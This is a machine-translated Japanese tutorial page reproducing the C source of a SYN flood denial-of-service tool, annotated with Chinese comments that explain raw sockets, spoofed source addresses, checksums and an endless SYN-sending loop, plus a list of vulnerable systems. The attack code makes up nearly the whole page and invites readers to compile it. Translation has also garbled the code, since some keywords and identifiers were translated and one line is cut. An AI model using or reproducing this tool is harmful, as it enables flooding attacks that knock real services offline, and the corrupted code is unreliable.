ホームページ  >  記事  >  バックエンド開発  >  SYN 攻撃のコード分析 -- Gcc/RedHat Linux 9.0 コンパイルを使用_PHP チュートリアル

SYN 攻撃のコード分析 -- Gcc/RedHat Linux 9.0 コンパイルを使用_PHP チュートリアル

WBOY
WBOYオリジナル
2016-07-13 17:27:14849ブラウズ

SYN 攻撃のコード分析 -- Gcc/RedHat Linux 9.0 コンパイルを使用_PHP チュートリアル今は LINUX/UNIX の時代です。あなたはまだ Java 開発を少し理解しようとしています。これは SYN 攻撃のソース プログラムです。理解できるかどうか試してみてください。わからない場合は、メッセージを残してください。電子メール: QIYU155·126。コム。 中国語のコメントを追加しました!
これは SYN 攻撃のソース プログラムです。読んで理解できるかどうかを確認してください。理解できない場合は、メッセージを残してください。 中国語のコメントを追加しました。/* Syn 攻撃 a ポート for Solaris */ /* オリジナル land 攻撃, land.c by m3lt, FLC */ /* 移植 44BSD by blast and jerm */ /* 移植 Solaris by ziro antagonist */ /* 参照Flood.c by unknown author */ /* Converted into a syn Attack against one port by CRG */ /* これを教育目的のみに使用してください */ /* Solarisでコンパイル gcc -o synsol synsol.c -lsocket -lnsl * / /* 追記: */ /* Solaris 2.51 と 2.6 でコンパイル成功*/ /* 実行: synsol */ /* */ /* テスト: Solaris 2.6 */ /* */ /* 攻撃: * / /* Linux 2.0.33 - 脆弱性 */ /* Linux 2.0.30 - 脆弱性 */ /* Linux 1.2.13 - 脆弱性 */ /* Solaris 2.4 - 脆弱性 */ /* Solaris 2.5.1 - 脆弱性 */ / * SunOS 4.1.3_U3 - 脆弱性あり */ /* Solaris 2.6 - 脆弱性なし */ /* */ /* これらのテストマシンのほとんどは、テストラボにあるため、パッチが適用されていません。 私はそのプログラムをポート 23 に対してテストし、*/ /* 時々、テストをしましたが、成功しました。 */ /* */ /* あらゆるコメント、質問、改善については、*/ /* packetstorm@genocide2600.com */ /* http://www.genocide2600.com/~tattooman/ */ /* あなたのメールは、 forwarded to the author, who wishes */ /* to remain only as CRG (no email addy or URL) */ /*jjgirl:上面的注释的不用说了! */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /*jjgirl:上面是头文件!*/ unsigned long srcport;   struct pseudohdr { struct in_addr saddr; struct in_addr daddr; u_char ゼロ; u_char プロトコル; u_short 長さ; struct tcphdr tcpheader; }; /*jjgirl:定义一个伪装地址的结构!*/ u_short checksum(u_short * data,u_short length) { int nleft = length; int 合計=0; unsigned short *w = data; unsigned short value = 0;   while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(unsigned char *) (&value) = *(unsigned char *) w;合計 += 値; } sum = (sum >>16) + (sum & 0xffff); sum += (sum >> 16);値 = ~合計;戻り値(値); } /*jjgirl:上面校验文件!包头是要校验的,CRC校验!*/ int main(int argc,char * * argv) {/*jjgirl:主程序开始了!*/ struct sockaddr_in sin; struct sockaddr_in din; struct hostent * hoste; struct hostent * host1; int j,sock,foo, flooddot=1; char バッファ[40]; struct ip * ipheader=(struct ip *) buffer; struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip)); struct 擬似hdr 擬似ヘッダー; /*jjgirl:上面定义变量!*/ fprintf(stderr,"Syn 攻撃 対 1 ポート。(無限) "); if(argch_addr,&din.sin_addr,host1->h_length); else if((din.sin_addr.s_addr=inet_addr(argv[3]))==-1) { fprintf(stderr,"unknown source)ホスト %s ",argv[3]); return(-1); } if((hoste=gethostbyname(argv[1]))!=NULL) bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length); else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1) { fprintf(stderr,"不明 宛先 ホスト %s ",argv[1]); return(-1); } if((sin.sin_port=htons(atoi(argv[2])))==0) { fprintf(stderr,"unknown port %s ",argv[2]); return(-1); } /*jjgirl:上面是给sockaddr_in结构赋值,要指明协议,口口号!*/ if((sock=socket(AF_INET,SOCK_RAW,255))= =-1) { fprintf(stderr,"未加工のソケットを割り当てられませんでした) "); return(-1); } /*jjgirl:上面开始Socket了!*/ foo=1; if(setsockopt(sock,0,IP_HDRINCL,(char *)&foo,sizeof(int))==-1 ) { fprintf(stderr,"ソケットに生のヘッダーを設定できませんでした "); return(-1); } /*jjgirl:上面是為了重构报头!*/ for(j=1;j>0;j++) { bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr)); ipheader->ip_v=4; ipheader->ip_tos=0; ipheader->ip_hl=sizeof(struct ip)/4; ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr); ipheader->ip_id=htons(random()); ipheader->ip_ttl=30; /*255;*/ ipheader->ip_p=IPPROTO_TCP; ipheader->ip_sum=0; ipheader->ip_src=din.sin_addr; ipheader->ip_dst=sin.sin_addr;   tcpheader->th_sport=htons(srcport); /*sin.sin_port;*/ tcpheader->th_dport=sin.sin_port; tcpheader->th_seq=htonl(0x28374839); tcpheader->th_flags=TH_SYN; tcpheader->th_off=sizeof(struct tcphdr)/4; tcpheader->th_win=htons(2048); tcpheader->th_sum=0;   bzero(&pseudoheader,12+sizeof(struct tcphdr)); pseudoheader.saddr.s_addr=din.sin_addr.s_addr; pseudoheader.daddr.s_addr=sin.sin_addr.s_addr; pseudoheader.protocol=6; pseudoheader.length=htons(sizeof(struct tcphdr)); bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr)); tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr)); /*jjgirl:上面是重构报头!*/ srcport= (10000.0*random()/(15000+1.0)); /*jjgirl:端口当然要变!*/ if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1 ) /*jjgirl:攻撃击开開始!*/ { fprintf(stderr,"パケットを送信できませんでした,%d ",errno); return(-1); } usleep(2); if (!(flooddot = (flooddot+1)%(1))) /*jjgirl:显示次数! Jjgirl 把握上面一句,改為如下二句,增加显示効果,随你的便! int k=j; if((k%10)==0) printf(" "); */ } /*無限ループの終わり*/ close(sock); return(0); } /*jjgirl:结束!编译试试吧!如果有看不懂可以给我留言,orE -MAIL:qiyu155@126.com!*/

www.bkjia.comtru​​ehttp://www.bkjia.com/PHPjc/531903.html技術記事これは LINUX/UNIX の時間であり、自己一点のための Java 開発でもあります。これは SYN 攻撃のソースプログラムです。 .
声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。